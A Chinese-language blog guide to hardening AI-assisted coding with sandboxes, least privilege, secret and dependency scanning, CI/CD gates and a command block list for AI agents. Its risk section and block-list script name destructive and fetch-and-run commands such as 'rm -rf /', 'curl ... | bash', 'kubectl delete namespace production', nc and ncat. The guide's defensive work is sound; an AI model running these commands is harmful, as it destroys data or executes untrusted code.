上一篇 下一篇 分享链接 返回 返回顶部

AI 写代码前,先把这套安全护栏搭起来:从沙箱到扫描的完整命令清单

发布人:慈云数据-客服中心 发布时间:22小时前 阅读量:3

AI编程 安全加固方案|附完整命令

随着 AI 编程工具的快速普及,越来越多团队开始在日常开发中使用 AI 生成代码、补全函数、编写脚本、生成测试用例,甚至直接让 AI 执行项目初始化、依赖安装、代码重构和自动化部署。AI 编程显著提升了研发效率,但同时也带来了新的安全风险:生成代码可能存在漏洞,自动安装的依赖可能夹带恶意包,提示词中可能泄露密钥,AI 代理可能误执行危险命令,开发环境与生产环境边界可能被打穿。

因此,企业和个人开发者在使用 AI 编程时,不能只关注“写得快”,更要关注“写得安全、跑得可控、改得可追踪”。本文将从开发环境隔离、权限控制、密钥管理、依赖安全、代码扫描、容器加固、Git 安全、CI/CD 安全、AI Agent 执行限制等多个方面,给出一套可落地的 AI 编程安全加固方案,并附上完整命令示例。


一、AI 编程的主要安全风险

在制定加固方案之前,需要先明确 AI 编程环境中常见的风险点。

1. AI 生成代码存在安全漏洞

AI 生成的代码可能看起来语法正确、逻辑完整,但并不代表安全。常见问题包括:

  • SQL 注入;
  • 命令注入;
  • XSS 跨站脚本;
  • SSRF 服务端请求伪造;
  • 不安全的反序列化;
  • 明文存储密码;
  • 缺少权限校验;
  • 错误的加密算法使用;
  • 日志泄露敏感信息。

2. AI 可能引入恶意或高危依赖

AI 生成项目时,经常会自动推荐依赖包。攻击者可能利用拼写相似包、废弃包、恶意包投毒供应链。例如:

npm install expresss
pip install reqeusts

这类包名与热门包相似,但可能并非官方包。

3. 提示词泄露敏感信息

开发者为了让 AI 更好地理解项目,可能直接粘贴:

  • 数据库连接串;
  • API Token;
  • 私钥;
  • 生产环境配置;
  • 用户数据;
  • 内部接口文档;
  • 源代码仓库地址;
  • 业务规则和风控逻辑。

一旦这些信息进入外部 AI 服务,就可能造成合规和数据安全风险。

4. AI Agent 误执行危险命令

具备执行命令能力的 AI Agent,可能在未充分确认的情况下执行:

rm -rf /
chmod -R 777 /
curl http://unknown-site/install.sh | bash
docker system prune -a
kubectl delete namespace production

如果没有沙箱、权限控制和审批机制,后果可能非常严重。

5. 生成代码缺少审计链路

AI 生成代码如果直接提交到主分支,可能带来:

  • 无人工 Review;
  • 无测试覆盖;
  • 无安全扫描;
  • 无变更记录;
  • 无责任归属;
  • 无法回滚定位。

因此,AI 编程必须纳入标准软件工程治理体系。


二、总体加固思路

AI 编程安全加固可以遵循以下原则:

原则 说明
最小权限 AI 工具只能访问必要目录、必要命令和必要资源
环境隔离 AI 运行环境与宿主机、生产环境隔离
密钥不落地 不向 AI 暴露真实密钥、生产配置和敏感数据
依赖可信 所有第三方包必须经过来源校验和漏洞扫描
代码可审计 AI 生成代码必须经过 Review、测试和扫描
命令可控 高危命令必须阻断或人工确认
日志可追踪 AI 修改、执行、提交都应有记录
默认拒绝 不确定的操作默认禁止,而不是默认允许

三、开发环境隔离加固

AI 编程工具不应直接在个人主机或生产机器上运行高权限命令。推荐使用容器、虚拟机或受限用户来隔离环境。


四、创建独立低权限用户

首先,为 AI 编程创建单独的系统用户,避免使用 root 或管理员账号。

Ubuntu / Debian

sudo adduser ai-dev
sudo usermod -aG sudo ai-dev

如果你不希望该用户拥有 sudo 权限,可以不要执行第二条命令。

创建专门的工作目录:

sudo mkdir -p /workspace/ai-projects
sudo chown -R ai-dev:ai-dev /workspace/ai-projects
sudo chmod 750 /workspace/ai-projects

切换用户:

su - ai-dev
cd /workspace/ai-projects

禁止 AI 用户免密 sudo

检查 sudo 配置:

sudo visudo

确保不存在类似配置:

ai-dev ALL=(ALL) NOPASSWD:ALL

如果存在,应删除或注释。


五、使用 Docker 构建 AI 编程沙箱

使用 Docker 可以为 AI 编程提供隔离环境。以下示例创建一个受限 Node.js/Python 开发容器。

1. 创建 Dockerfile

mkdir -p ~/ai-sandbox
cd ~/ai-sandbox

cat > Dockerfile <<'EOF'
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y \
    curl \
    wget \
    git \
    vim \
    ca-certificates \
    python3 \
    python3-pip \
    nodejs \
    npm \
    jq \
    ripgrep \
    && rm -rf /var/lib/apt/lists/*

RUN useradd -m -s /bin/bash aiuser

WORKDIR /workspace

USER aiuser

CMD ["/bin/bash"]
EOF

2. 构建镜像

docker build -t ai-code-sandbox:latest .

3. 启动受限容器

docker run -it --rm \
  --name ai-code-sandbox \
  --cpus="2" \
  --memory="4g" \
  --pids-limit=256 \
  --network=bridge \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  --tmpfs /home/aiuser:rw,nosuid,size=1g \
  -v "$PWD/project":/workspace:rw \
  --security-opt no-new-privileges \
  --cap-drop ALL \
  ai-code-sandbox:latest

参数说明:

  • --cpus="2":限制 CPU;
  • --memory="4g":限制内存;
  • --pids-limit=256:限制进程数;
  • --read-only:根文件系统只读;
  • --tmpfs:仅允许指定临时目录可写;
  • --cap-drop ALL:删除 Linux capabilities;
  • --security-opt no-new-privileges:禁止提权;
  • -v "$PWD/project":/workspace:rw:仅挂载项目目录。

如果 AI Agent 需要执行命令,应尽量只在该容器中执行。


六、限制容器网络访问

AI 编程有时并不需要访问外网,尤其是在分析本地代码时。可以直接关闭网络:

docker run -it --rm \
  --name ai-code-no-network \
  --network=none \
  -v "$PWD/project":/workspace:rw \
  --security-opt no-new-privileges \
  --cap-drop ALL \
  ai-code-sandbox:latest

如果需要安装依赖,可以短暂开启网络,安装完成后关闭网络运行安全扫描和测试。

也可以使用防火墙限制容器访问范围。查看 Docker 网桥:

docker network inspect bridge

使用 iptables 限制容器访问内网敏感地址:

sudo iptables -I DOCKER-USER -d 169.254.169.254 -j DROP
sudo iptables -I DOCKER-USER -d 127.0.0.0/8 -j DROP
sudo iptables -I DOCKER-USER -d 10.0.0.0/8 -j DROP
sudo iptables -I DOCKER-USER -d 172.16.0.0/12 -j DROP
sudo iptables -I DOCKER-USER -d 192.168.0.0/16 -j DROP

其中 169.254.169.254 是很多云厂商元数据服务地址,必须重点防护,防止 SSRF 或恶意脚本窃取临时凭证。

保存规则:

sudo apt-get install -y iptables-persistent
sudo netfilter-persistent save

七、密钥与敏感信息保护

AI 编程过程中,绝不能把真实密钥、生产数据库密码、云平台 AK/SK、私钥文件直接提供给 AI。

1. 使用示例配置文件

创建 .env.example

cat > .env.example <<'EOF'
APP_ENV=development
DATABASE_URL=postgresql://user:password@localhost:5432/app_db
REDIS_URL=redis://localhost:6379/0
JWT_SECRET=please_change_me
OPENAI_API_KEY=your_api_key_here
EOF

真实 .env 文件必须加入 .gitignore

cat >> .gitignore <<'EOF'

# environment files
.env
.env.*
!.env.example

# secrets
*.pem
*.key
*.p12
*.pfx
id_rsa
id_ed25519
EOF

2. 扫描仓库中的密钥

安装 Gitleaks:

curl -sSfL https://raw.githubusercontent.com/gitleaks/gitleaks/master/install.sh | sh -s -- -b /usr/local/bin

扫描当前仓库:

gitleaks detect --source . --verbose

生成报告:

gitleaks detect --source . --report-format json --report-path gitleaks-report.json

3. 使用 TruffleHog 扫描历史提交

docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest filesystem /repo

扫描 Git 仓库历史:

docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo

4. 如果密钥已经泄露

如果发现密钥已经被提交,不能只从 Git 中删除文件,必须立即轮换密钥:

git rm --cached .env
git commit -m "remove leaked env file"

然后到对应云厂商、数据库、第三方平台后台禁用旧密钥,并生成新密钥。

如需清理 Git 历史,可使用 git filter-repo

pip install git-filter-repo
git filter-repo --path .env --invert-paths

强制推送前务必通知团队成员:

git push origin --force --all
git push origin --force --tags

八、依赖供应链安全加固

AI 生成项目时经常会自动写出安装命令。任何依赖都应经过确认,而不是直接复制执行。


九、Node.js 项目安全命令

1. 禁止自动执行安装脚本

很多 npm 包会在安装时执行 preinstallpostinstall 脚本。为降低风险,可以使用:

npm install --ignore-scripts

如果必须执行脚本,应先检查包内容和来源。

2. 审计 npm 依赖漏洞

npm audit

自动修复低风险问题:

npm audit fix

谨慎使用强制修复:

npm audit fix --force

查看过期依赖:

npm outdated

3. 固定依赖版本

使用 package-lock.json

npm install --package-lock-only
npm ci

在 CI/CD 中优先使用:

npm ci --ignore-scripts

4. 检查恶意包名称

查看包信息:

npm view express
npm view expresss

查看维护者:

npm owner ls express

查看包下载地址:

npm view express dist.tarball

十、Python 项目安全命令

1. 使用虚拟环境

python3 -m venv .venv
source .venv/bin/activate

升级基础工具:

python -m pip install --upgrade pip setuptools wheel

2. 固定依赖版本

pip freeze > requirements.txt

安装固定版本:

pip install -r requirements.txt

更安全的方式是使用哈希校验:

pip install pip-tools
pip-compile --generate-hashes requirements.in
pip install --require-hashes -r requirements.txt

3. 扫描 Python 依赖漏洞

安装 pip-audit:

pip install pip-audit

扫描当前环境:

pip-audit

扫描 requirements:

pip-audit -r requirements.txt

4. 使用 Safety 扫描

pip install safety
safety check -r requirements.txt

十一、代码安全扫描

AI 生成代码必须经过静态分析和安全扫描,不能只靠人工肉眼判断。


十二、使用 Semgrep 扫描多语言代码

安装 Semgrep:

python3 -m pip install semgrep

基础扫描:

semgrep scan --config auto

使用 OWASP 规则:

semgrep scan --config p/owasp-top-ten

扫描并输出 JSON:

semgrep scan --config auto --json --output semgrep-report.json

忽略依赖目录:

semgrep scan --config auto \
  --exclude node_modules \
  --exclude .venv \
  --exclude dist \
  --exclude build

十三、使用 Bandit 扫描 Python 代码

安装:

pip install bandit

扫描整个项目:

bandit -r .

排除虚拟环境:

bandit -r . -x .venv,tests

输出 JSON:

bandit -r . -f json -o bandit-report.json

十四、使用 ESLint 加固 JavaScript / TypeScript

安装:

npm install -D eslint @eslint/js typescript typescript-eslint

初始化:

npx eslint --init

扫描:

npx eslint .

自动修复:

npx eslint . --fix

建议额外安装安全规则插件:

npm install -D eslint-plugin-security

在配置中启用安全规则后执行:

npx eslint .

十五、Git 提交流程加固

AI 生成的代码不应直接进入主分支。推荐启用分支保护、签名提交和提交前扫描。

1. 创建 AI 专用分支

git checkout -b ai/generated-feature

2. 查看 AI 修改内容

git status
git diff

3. 分块提交

git add -p
git commit -m "feat: add user login module generated with review"

4. 启用 GPG 签名提交

生成 GPG Key:

gpg --full-generate-key

查看 Key:

gpg --list-secret-keys --keyid-format=long

配置 Git:

git config --global user.signingkey YOUR_GPG_KEY_ID
git config --global commit.gpgsign true

提交:

git commit -S -m "secure: add validation for user input"

5. 配置 pre-commit 钩子

安装:

pip install pre-commit

创建配置:

cat > .pre-commit-config.yaml <<'EOF'
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.4
    hooks:
      - id: gitleaks

  - repo: https://github.com/semgrep/pre-commit
    rev: v1.70.0
    hooks:
      - id: semgrep
        args: ["--config", "auto"]

  - repo: https://github.com/PyCQA/bandit
    rev: 1.7.8
    hooks:
      - id: bandit
        args: ["-r", "."]
EOF

安装钩子:

pre-commit install

手动执行:

pre-commit run --all-files

十六、AI Agent 命令执行白名单

如果你使用的是具备命令执行能力的 AI Agent,建议采用命令白名单策略,只允许执行安全命令,例如:

  • ls
  • cat
  • grep
  • rg
  • git diff
  • git status
  • npm test
  • pytest
  • go test
  • mvn test

禁止或需要人工确认的命令包括:

  • rm -rf
  • chmod -R 777
  • curl | bash
  • wget | sh
  • sudo
  • su
  • ssh
  • scp
  • kubectl delete
  • terraform destroy
  • docker system prune
  • dd
  • mkfs
  • iptables
  • nc
  • ncat

可以编写一个简单的 Bash 包装器,对命令进行拦截。

创建安全执行脚本

cat > safe-run.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail

CMD="$*"

BLOCK_PATTERNS=(
  "rm -rf /"
  "rm -rf /*"
  "chmod -R 777"
  "curl .*|.*bash"
  "wget .*|.*sh"
  "sudo "
  "su "
  "ssh "
  "scp "
  "kubectl delete"
  "terraform destroy"
  "docker system prune"
  "mkfs"
  "dd if="
  "iptables"
  "nc "
  "ncat "
)

for pattern in "${BLOCK_PATTERNS[@]}"; do
  if [[ "$CMD" =~ $pattern ]]; then
    echo "Blocked dangerous command: $CMD"
    exit 1
  fi
done

echo "Executing: $CMD"
bash -lc "$CMD"
EOF

chmod +x safe-run.sh

使用方式:

./safe-run.sh "git status"
./safe-run.sh "npm test"
./safe-run.sh "pytest"

测试危险命令是否被阻断:

./safe-run.sh "rm -rf /"

应输出:

Blocked dangerous command: rm -rf /

注意:这个脚本只是基础示例,生产环境应使用更严格的命令解析、审计日志和人工审批机制。


十七、容器镜像安全扫描

如果 AI 生成了 Dockerfile 或容器镜像,也必须进行扫描。

1. 安装 Trivy

Ubuntu / Debian:

sudo apt-get install -y wget apt-transport-https gnupg lsb-release

wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | \
  gpg --dearmor | sudo tee /usr/share/keyrings/trivy.gpg > /dev/null

echo "deb [signed-by=/usr/share/keyrings/trivy.gpg] https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | \
  sudo tee /etc/apt/sources.list.d/trivy.list

sudo apt-get update
sudo apt-get install -y trivy

2. 扫描文件系统

trivy fs .

3. 扫描镜像

trivy image ai-code-sandbox:latest

4. 只显示高危和严重漏洞

trivy image --severity HIGH,CRITICAL ai-code-sandbox:latest

5. 扫描 IaC 配置

trivy config .

十八、Dockerfile 安全基线

AI 经常会生成不安全的 Dockerfile,例如使用 root 用户、安装过多工具、复制敏感文件。建议使用以下安全基线。

示例 Dockerfile

cat > Dockerfile.secure <<'EOF'
FROM node:20-alpine

WORKDIR /app

RUN addgroup -S appgroup && adduser -S appuser -G appgroup

COPY package*.json ./

RUN npm ci --omit=dev --ignore-scripts

COPY --chown=appuser:appgroup . .

USER appuser

ENV NODE_ENV=production

EXPOSE 3000

CMD ["node", "server.js"]
EOF

构建:

docker build -f Dockerfile.secure -t myapp:secure .

运行:

docker run -d \
  --name myapp \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=128m \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  -p 3000:3000 \
  myapp:secure

十九、CI/CD 安全加固

AI 编程必须接入 CI/CD 安全检查,避免“本地能跑就上线”。

以下是 GitHub Actions 示例。

创建工作流

mkdir -p .github/workflows

cat > .github/workflows/security.yml <<'EOF'
name: Security Check

on:
  pull_request:
    branches: [ "main" ]
  push:
    branches: [ "main" ]

permissions:
  contents: read
  security-events: write

jobs:
  security:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Gitleaks Scan
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Semgrep Scan
        uses: semgrep/semgrep-action@v1
        with:
          config: auto

      - name: Trivy FS Scan
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: fs
          scan-ref: .
          severity: HIGH,CRITICAL
          exit-code: "1"

      - name: Node Audit
        if: hashFiles('package-lock.json') != ''
        run: npm ci --ignore-scripts && npm audit --audit-level=high

      - name: Python Audit
        if: hashFiles('requirements.txt') != ''
        run: |
          python -m pip install --upgrade pip
          pip install pip-audit
          pip-audit -r requirements.txt
EOF

提交:

git add .github/workflows/security.yml
git commit -m "ci: add security checks"
git push

二十、数据库与本地服务安全

AI 编程时经常会生成数据库连接代码,建议开发环境数据库也采用最小权限账号。

PostgreSQL 创建低权限用户

sudo -u postgres psql

执行 SQL:

CREATE DATABASE app_dev;
CREATE USER app_user WITH PASSWORD 'change_me_strong_password';
GRANT CONNECT ON DATABASE app_dev TO app_user;
\c app_dev
GRANT USAGE ON SCHEMA public TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_user;
ALTER DEFAULT PRIVILEGES IN SCHEMA public
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLES TO app_user;

退出:

\q

不要在开发代码中使用 PostgreSQL 超级用户:

postgres

二十一、日志脱敏与测试数据脱敏

AI 分析问题时,开发者经常会粘贴日志。日志中可能包含手机号、邮箱、身份证、Token、Cookie 等信息。建议先进行脱敏。

使用 sed 简单脱敏

脱敏邮箱:

sed -E 's/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/[EMAIL]/g' app.log

脱敏手机号:

sed -E 's/1[3-9][0-9]{9}/[PHONE]/g' app.log

脱敏 Bearer Token:

sed -E 's/Bearer[[:space:]][A-Za-z0-9._~+\/=-]+/Bearer [TOKEN]/g' app.log

组合输出:

cat app.log | \
sed -E 's/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/[EMAIL]/g' | \
sed -E 's/1[3-9][0-9]{9}/[PHONE]/g' | \
sed -E 's/Bearer[[:space:]][A-Za-z0-9._~+\/=-]+/Bearer [TOKEN]/g' \
> app.masked.log

将脱敏后的日志再提供给 AI:

cat app.masked.log

二十二、Prompt 使用安全规范

为了降低信息泄露风险,团队应制定 AI 提示词规范。

推荐做法

可以向 AI 提供:

  • 抽象后的业务描述;
  • 脱敏后的错误日志;
  • 局部代码片段;
  • 示例配置文件;
  • Mock 数据;
  • 非生产环境信息;
  • 已公开的技术文档。

禁止提供

不要向 AI 提供:

  • 生产数据库地址;
  • 真实访问令牌;
  • 用户隐私数据;
  • 内部账号密码;
  • 私钥证书;
  • 未公开的商业合同;
  • 风控策略细节;
  • 云平台长期 AK/SK;
  • 生产环境 Kubernetes 配置。

安全提示词模板

你是一名安全优先的软件工程师。
请基于以下脱敏后的代码进行分析。
要求:
1. 不要引入未经维护的第三方依赖;
2. 不要使用 eval、exec、shell=True 等高风险写法;
3. 所有用户输入必须校验;
4. 数据库查询必须使用参数化查询;
5. 不要输出任何密钥、Token 或真实连接串;
6. 给出单元测试和安全测试建议。
以下是代码:

二十三、AI 生成代码 Review 清单

在合并 AI 生成代码前,建议按以下清单检查。

安全检查项

  • 是否存在硬编码密钥?
  • 是否使用了不安全随机数?
  • 是否存在 SQL 拼接?
  • 是否直接执行用户输入?
  • 是否缺少鉴权和权限校验?
  • 是否把敏感数据写入日志?
  • 是否引入未知依赖?
  • 是否缺少错误处理?
  • 是否暴露调试接口?
  • 是否默认开启 Debug 模式?
  • 是否使用了过时加密算法,如 MD5、SHA1?
  • 是否有路径遍历风险?
  • 是否存在 SSRF 风险?
  • 是否上传文件类型和大小限制?
  • 是否具备单元测试?
  • 是否通过 SAST、SCA、Secret Scan?

合并前命令

git status
git diff main...HEAD

gitleaks detect --source .
semgrep scan --config auto
trivy fs .
npm audit || true
pip-audit || true
pytest || true
npm test || true

二十四、Linux 主机基础加固

如果 AI 编程运行在 Linux 主机上,还需要做基础安全加固。

更新系统

sudo apt-get update
sudo apt-get upgrade -y

开启防火墙

sudo apt-get install -y ufw
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw enable
sudo ufw status verbose

禁止 root SSH 登录

编辑 SSH 配置:

sudo vim /etc/ssh/sshd_config

设置:

PermitRootLogin no
PasswordAuthentication no

重启 SSH:

sudo systemctl restart ssh

安装 Fail2ban

sudo apt-get install -y fail2ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
sudo fail2ban-client status

二十五、推荐的日常安全工作流

下面是一套适合个人和团队使用的 AI 编程安全流程。

1. 新建独立分支

git checkout -b ai/task-name

2. 启动沙箱

docker run -it --rm \
  --name ai-task \
  --network=none \
  -v "$PWD":/workspace:rw \
  --security-opt no-new-privileges \
  --cap-drop ALL \
  ai-code-sandbox:latest

3. 让 AI 只分析必要文件

git diff
rg "TODO|FIXME|password|secret|token" .

4. 执行测试

npm test
pytest
go test ./...

5. 执行安全扫描

gitleaks detect --source .
semgrep scan --config auto
trivy fs .

6. 人工 Review

git diff main...HEAD

7. 提交并发起 Pull Request

git add .
git commit -S -m "feat: implement feature with security review"
git push origin ai/task-name

二十六、一键安全检查脚本

可以为项目准备一个统一的安全检查脚本,方便每次合并前执行。

cat > security-check.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail

echo "==> Git status"
git status --short

echo "==> Secret scan: gitleaks"
if command -v gitleaks >/dev/null 2>&1; then
  gitleaks detect --source .
else
  echo "gitleaks not installed, skip"
fi

echo "==> Semgrep scan"
if command -v semgrep >/dev/null 2>&1; then
  semgrep scan --config auto
else
  echo "semgrep not installed, skip"
fi

echo "==> Trivy filesystem scan"
if command -v trivy >/dev/null 2>&1; then
  trivy fs --severity HIGH,CRITICAL .
else
  echo "trivy not installed, skip"
fi

echo "==> Node audit"
if [ -f package-lock.json ]; then
  npm ci --ignore-scripts
  npm audit --audit-level=high
fi

echo "==> Python audit"
if [ -f requirements.txt ]; then
  if command -v pip-audit >/dev/null 2>&1; then
    pip-audit -r requirements.txt
  else
    echo "pip-audit not installed, skip"
  fi
fi

echo "==> Tests"
if [ -f package.json ]; then
  npm test || true
fi

if [ -d tests ] || ls test_*.py >/dev/null 2>&1; then
  pytest || true
fi

echo "==> Security check completed"
EOF

chmod +x security-check.sh

执行:

./security-check.sh

二十七、企业级 AI 编程治理建议

如果是在企业内部大规模使用 AI 编程,还应建立更系统的治理机制。

1. 建立 AI 使用边界

明确哪些数据可以输入 AI,哪些数据禁止输入 AI。建议按数据等级划分:

数据类型 是否允许输入 AI
公开技术资料 允许
脱敏日志 允许
内部普通代码片段 审批后允许
生产配置 禁止
用户隐私数据 禁止
密钥、证书、Token 禁止
核心算法和风控策略 严格审批

2. 建立 AI 代码标识机制

可以要求提交信息中标注 AI 辅助:

git commit -m "feat: add report export module

AI-Assisted: true
Reviewed-by: security-team"

3. 建立强制安全门禁

Pull Request 必须满足:

  • 至少一名人工 Reviewer;
  • 所有测试通过;
  • Secret Scan 通过;
  • SAST 扫描通过;
  • SCA 扫描通过;
  • 高危漏洞不得合并;
  • 生产配置不得出现在代码中。

4. 建立 AI Agent 审计

记录 AI Agent 的:

  • 输入提示词摘要;
  • 访问文件列表;
  • 执行命令列表;
  • 修改文件列表;
  • 生成代码范围;
  • 审批人;
  • 合并人。

二十八、总结

AI 编程不是简单地“让 AI 帮我写代码”,而是将 AI 纳入软件研发体系的一部分。它既能提升效率,也会放大安全问题:过去开发者手动犯一次错,现在 AI 可能在几秒钟内批量生成同类漏洞;过去依赖安装需要人工判断,现在 AI 可能直接给出一条危险命令;过去密钥泄露多发生在提交阶段,现在可能在提示词阶段就已经泄露。

因此,AI 编程安全加固的核心不是禁止使用 AI,而是让 AI 在受控环境中工作:用沙箱限制运行边界,用最小权限降低破坏面,用密钥扫描防止泄露,用依赖审计降低供应链风险,用静态扫描发现代码漏洞,用 CI/CD 门禁保障合并质量,用人工 Review 保留最终判断。

一套可执行的安全基线至少应包括:

# 1. 创建隔离分支
git checkout -b ai/task

# 2. 扫描密钥
gitleaks detect --source .

# 3. 扫描代码
semgrep scan --config auto

# 4. 扫描依赖和文件系统
trivy fs .

# 5. Node 项目审计
npm audit

# 6. Python 项目审计
pip-audit -r requirements.txt

# 7. 执行测试
npm test
pytest

# 8. 查看差异
git diff main...HEAD

# 9. 签名提交
git commit -S -m "feat: secure AI-assisted implementation"

只要做到“环境隔离、权限最小、密钥不露、依赖可信、代码可审计、命令可控”,AI 编程就可以从高风险的效率工具,变成安全可控的研发加速器。

目录结构
全文